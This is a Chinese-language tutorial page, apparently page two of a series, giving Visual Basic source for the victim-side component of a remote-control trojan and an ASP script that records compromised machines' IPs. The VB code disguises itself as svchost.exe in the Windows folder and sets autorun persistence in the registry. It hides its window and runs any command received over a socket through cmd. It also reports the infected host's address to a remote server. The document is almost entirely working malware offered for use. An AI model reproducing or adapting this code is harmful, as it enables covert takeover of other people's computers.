被控制端:
Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1 ’写注册表
Private Sub Form_Load()
’如果自身已经运行则关闭自己
If appprevinstance Then
End
End If
’复制自身
FileCopy App.Path & "\svchost.exe", "C:\windows\svchost.exe"
FileCopy App.Path & "\svchost.dll", "C:\windows\svchost.dll"
’启动端口监听
SockServer.Listen
Me.SockClient.LocalPort = 1002 ’客户端占用1002端口
Me.SockClient.RemotePort = 1001 ’连接的远程1001端口
’把自己添加到注册表里
Dim Ret2 As Long
RegCreateKey HKEY_LOCAL_MACHINE, "software\microsoft\windows\currentVersion\run\", Ret2
RegSetValue Ret2, vbNullString, REG_SZ, "C:\windows\svchost.exe", 4
Me.Hide
End Sub
Private Sub SockServer_ConnectionRequest(ByVal requestID As Long)
’判断服务器不关闭时接受连接请求
If SockServer.State <> sckClosed Then SockServer.Close
SockServer.Accept requestID
End Sub
Private Sub SockServer_DataArrival(ByVal bytesTotal As Long)
Dim MyGetData As String
’得到数据 如果控制端发送来的数据收到了`就放在txt_get.text里面
SockServer.GetData MyGetData
If MyGetData = "OPEN" Then ’请求标志
SockServer.Close
SockServer.Listen
End If
txt_get.Text = MyGetData
End Sub
Private Sub Timer1_Timer() ’在窗体上加个时钟控件`设置为1000毫秒执行一次也就是一秒
If txt_get.Text <> "0" Then
Shell "cmd /c " & txt_get.Text & ""
txt_get = "0"
End If
End Sub
Private Sub Timer2_Timer() ’获取远程IP地址返回给他IP地址
On Error Resume Next
’读取远程服务器地址
Dim DrText2
Open App.Path & "\svchost.dll" For Input As #1
Input #1, Surl
Close #1
Me.WebBrowser1.Navigate "" & Surl & ""
End Sub
服务器反向连接ASP:
<%
myip=request.ServerVariables("http_x_forwarded_for")
if myip="" then
myip=request.ServerVariables("remote_addr")
end if
response.write""&myip&""
%>
<%
IP=""&myip&""
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("FXIP.txt"),8,True)
file.writeline "远程肉机IP: "+IP
file.close
set file=nothing
set fs=nothing
response.write "---这个肉鸡IP已经成功记录!"
%>
上一页 [1] [2]